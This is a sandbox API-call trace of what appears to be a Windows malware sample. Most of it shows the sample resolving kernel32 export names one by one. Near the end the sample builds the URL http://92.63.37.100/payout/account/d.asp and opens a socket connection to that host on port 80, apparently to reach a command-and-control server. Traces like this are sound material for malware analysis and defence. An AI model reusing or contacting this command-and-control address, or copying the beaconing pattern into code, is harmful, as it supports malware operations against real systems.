lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0086.206] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0086.206] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0086.206] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0086.206] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0086.206] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0086.206] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0086.206] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0086.206] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0086.206] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0086.206] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0086.206] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0086.206] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0086.206] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0086.207] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0086.207] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0086.207] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0086.207] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0086.207] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0086.207] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0086.207] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0086.207] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0086.207] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0086.207] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0086.207] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0086.207] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0086.207] lstrlenA (lpString="COPYCONTEXT") returned 11 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0086.207] lstrlenA (lpString="COPYFILE2") returned 9 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0086.207] lstrlenA (lpString="COPYFILEA") returned 9 [0086.207] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0086.207] lstrlenA (lpString="COPYFILEEXA") returned 11 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0086.208] lstrlenA (lpString="COPYFILEEXW") returned 11 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0086.208] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0086.208] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0086.208] lstrlenA (lpString="COPYFILEW") returned 9 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0086.208] lstrlenA (lpString="COPYLZFILE") returned 10 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0086.208] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0086.208] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0086.208] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0086.208] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0086.208] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0086.208] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0086.208] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0086.208] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0086.208] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0086.208] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0086.208] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0086.209] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0086.209] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0086.209] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0086.209] lstrlenA (lpString="CREATEEVENTA") returned 12 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0086.209] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0086.209] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0086.209] lstrlenA (lpString="CREATEEVENTW") returned 12 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0086.209] lstrlenA (lpString="CREATEFIBER") returned 11 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0086.209] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0086.209] lstrlenA (lpString="CREATEFILE2") returned 11 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0086.209] lstrlenA (lpString="CREATEFILEA") returned 11 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0086.209] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0086.209] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0086.209] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0086.209] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0086.209] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0086.210] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0086.210] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0086.210] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0086.210] lstrlenA (lpString="CREATEFILEW") returned 11 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0086.210] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0086.210] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0086.210] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0086.210] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0086.210] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0086.210] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0086.210] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0086.210] lstrlenA (lpString="CREATEJOBSET") returned 12 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0086.210] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0086.210] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0086.210] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0086.210] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0086.210] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0086.211] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0086.211] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0086.211] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0086.211] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0086.211] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0086.211] lstrlenA (lpString="CREATEPIPE") returned 10 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0086.211] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0086.211] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0086.211] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0086.211] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0086.211] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0086.211] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0086.211] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0086.211] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0086.211] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0086.211] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0086.212] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0086.212] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0086.212] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0086.212] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0086.212] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0086.212] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0086.212] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0086.212] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0086.212] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0086.212] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0086.212] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0086.212] lstrlenA (lpString="CREATETHREAD") returned 12 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0086.212] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0086.212] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0086.212] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0086.212] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0086.212] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0086.213] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0086.213] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0086.213] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0086.213] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0086.213] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0086.213] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0086.213] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0086.213] GetTickCount () returned 0x2b2eb [0086.213] GetTickCount () returned 0x2b2eb [0086.213] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0086.214] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0086.214] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0086.215] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.37.100/payout/account/d.asp") returned 40 [0086.215] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0086.215] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0086.215] VirtualAlloc (lpAddress=0x0, dwSize=0x16, flAllocationType=0x3000, flProtect=0x4) returned 0x3060000 [0086.216] VirtualAlloc (lpAddress=0x0, dwSize=0x22, flAllocationType=0x3000, flProtect=0x4) returned 0x30a0000 [0086.216] lstrlenA (lpString="kernel32.dll") returned 12 [0086.216] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0086.217] inet_pton (in: Family=2, pszAddrString="92.63.37.100", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0086.217] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0086.220] socket (af=2, type=1, protocol=6) returned 0x360 [0086.225] inet_addr (cp="92.63.37.100") returned 0x64253f5c [0086.225] htons (hostshort=0x50) returned 0x5000 [0086.225] connect (s=0x360, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.37.100"), namelen=16) returned 0 [0086.275] lstrlenA (lpString="kernel32.dll") returned 12 [0086.275] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0086.275] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0086.275] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0086.275] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0086.275] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0086.275] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0086.276] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0086.276] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0086.276] lstrlenA (lpString="ADDATOMA") returned 8 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0086.276] lstrlenA (lpString="ADDATOMW") returned 8 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0086.276] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0086.276] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0086.276] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0086.276] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0086.276] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0086.276] lstrlenA 